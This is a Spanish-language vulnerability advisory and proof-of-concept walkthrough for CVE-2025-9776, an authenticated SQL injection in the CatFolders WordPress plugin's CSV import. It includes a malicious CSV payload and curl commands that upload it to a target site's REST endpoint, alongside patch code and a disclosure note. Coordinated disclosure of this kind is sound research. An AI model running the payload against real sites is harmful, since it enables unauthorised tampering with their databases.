
CVE-2025-9776 — CatFolders WordPress Plugin: Inyección SQL autenticada a través de importación CSV | POC + Walkthrough
Palabras clave: CVE-2025-9776, vulnerabilidad CatFolders WordPress, inyección SQL WordPress, inyección SQL autenticada, seguridad WordPress, vulnerabilidad importación CSV, exploit plugin WordPress, CWE-89, ataque base de datos WordPress, vulnerabilidad librería multimedia, WordPress CVE 2025
Se descubrió una vulnerabilidad de inyección SQL autenticada en el plugin CatFolders para WordPress que permite a usuarios con nivel de Autor manipular consultas de base de datos mediante importaciones CSV maliciosas.
Descubierto por: Kai Aizen (SnailSploit)
Publicado: 2025
Puntuación CVSS: 6.5 (Medio)
CWE: CWE-89 - Inyección SQL
CatFolders – Domina tu Biblioteca Multimedia de WordPress por Categoría contiene una vulnerabilidad de inyección SQL autenticada en la funcionalidad de importación CSV. La columna attachments de un CSV proporcionado por el usuario se divide en una lista y se pasa directamente a FolderModel::set_attachments(), la cual concatena esos valores en cláusulas SQL IN (...) sin la debida sanitización ni parametrización.
Esta vulnerabilidad permite a atacantes autenticados con permisos de nivel Autor:
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
La vulnerabilidad existe en el flujo de importación CSV:
Archivo: includes/Rest/Controllers/ImportController.php
import_csv analiza el CSV subido sin sanitización por camporestore_folders() llama:FolderModel::set_attachments(
$new_folder['id'],
explode(',', $folder['attachments']),
false
);
Archivo: includes/Models/FolderModel.php
set_attachments() construye SQL sin formato usando concatenación de cadenas:'raw' => 'post_id IN (' . $attachmentIds . ')'
Un atacante con privilegios de nivel Autor (upload_files capability) puede inyectar SQL malicioso a través del endpoint de importación CSV:
Payload CSV malicioso:
id,name,attachments
1,Test Folder,"1) OR 1=1--"
Consulta vulnerable resultante:
SELECT folder_id FROM wp_catf_folder_posts
WHERE post_id IN (1) OR 1=1--)
Esto rompe la cláusula IN(...) y altera la semántica de la consulta, potencialmente afectando a todas las filas.
curl -s https://target.site/wp-json | jq -r '.routes | keys[]' | grep '/import-csv$'
Resultado típico: /catf/v1/import-csv
Crear un archivo llamado catf_inject.csv:
id,name,attachments
1,Malicious Folder,"1) OR 1=1--"
NS="/catf/v1" # Reemplazar con el espacio de nombres descubierto
curl -i \
-u 'author_user:APPLICATION_PASSWORD' \
-F "file=@catf_inject.csv;type=text/csv" \
-X POST "https://target.site/wp-json${NS}/import-csv"
Respuesta esperada:
{ "success": true }
El servidor construye y ejecuta:
SELECT folder_id FROM wp_catf_folder_posts WHERE post_id IN (1) OR 1=1--)
Esto puede realizar operaciones DELETE/INSERT más amplias de lo previsto, a menudo borrando las relaciones carpeta-archivo adjunto en toda la base de datos.
Ejecute la simulación SQLite independiente para observar la vulnerabilidad de forma segura:
python3 poc/catfolders_sql_poc.py
Esto imprime la consulta vulnerable y demuestra cómo un token malicioso devuelve todas las filas, mientras que una versión parametrizada lo rechaza correctamente.
Acción Inmediata Requerida:
Dos pasos mínimos de endurecimiento:
- FolderModel::set_attachments( $new_folder['id'], explode(',', $folder['attachments']), false );
+ $ids = array_filter( array_map( 'intval', explode(',', $folder['attachments']) ) );
+ if ( ! empty( $ids ) ) {
+ FolderModel::set_attachments( (int) $new_folder['id'], $ids, false );
+ }
set_attachments() $imgIds = apply_filters( 'catf_attachment_ids_to_folder', $imgIds );
+ $imgIds = array_values( array_filter( array_map( 'intval', (array) $imgIds ) ) );
Reemplazar toda concatenación SQL sin formato con consultas parametrizadas usando $wpdb->prepare() de WordPress:
$placeholders = implode(',', array_fill(0, count($imgIds), '%d'));
$query = $wpdb->prepare(
"SELECT folder_id FROM {$wpdb->prefix}catf_folder_posts WHERE post_id IN ($placeholders)",
...$imgIds
);
Adicionalmente:
Hay un parche completo disponible en patch/catfolders_fix.patch
CVE-2025-9776/
├── README.md # Este archivo
├── poc/
│ ├── catf_inject.csv # Payload CSV malicioso
│ └── catfolders_sql_poc.py # Simulación SQLite segura
└── patch/
└── catfolders_fix.patch # Correcciones recomendadas
Investigador: Kai Aizen (SnailSploit)
Proceso de Divulgación: Coordinado a través del Programa de Recompensas por Errores de Wordfence
⚠️ AVISO IMPORTANTE
Esta Prueba de Concepto se proporciona exclusivamente con fines de investigación defensiva y educativos.
El acceso no autorizado a sistemas informáticos es ilegal bajo leyes que incluyen:
Úselo bajo su propio riesgo. Los investigadores y SnailSploit no asumen ninguna responsabilidad por el mal uso de esta información.
Para preguntas o información adicional sobre esta vulnerabilidad:
¡Manténgase seguro y mantenga actualizadas sus instalaciones de WordPress!
Última actualización: 13 de octubre de 2025
La redacción completa, la metodología y la investigación relacionada de este proyecto se encuentran en:
https://snailsploit.com/security-research/cves/cve-2025-9776/
Creado por Kai Aizen — investigador independiente de seguridad ofensiva.
snailsploit.com · Research · Frameworks · GitHub · LinkedIn · ResearchGate · X/Twitter
Mismo ataque. Sustrato diferente.
| Métrica | Valor |
|---|
| Vector de Ataque | Red (AV:N) |
| Complejidad de Ataque | Baja (AC:L) |
| Privilegios Requeridos | Bajos (PR:L) - Autor+ |
| Interacción del Usuario | Ninguna (UI:N) |
| Alcance | Sin Cambio (S:U) |
| Confidencialidad | Ninguna (C:N) |
| Integridad | Baja (I:L) |
| Disponibilidad | Baja (A:L) |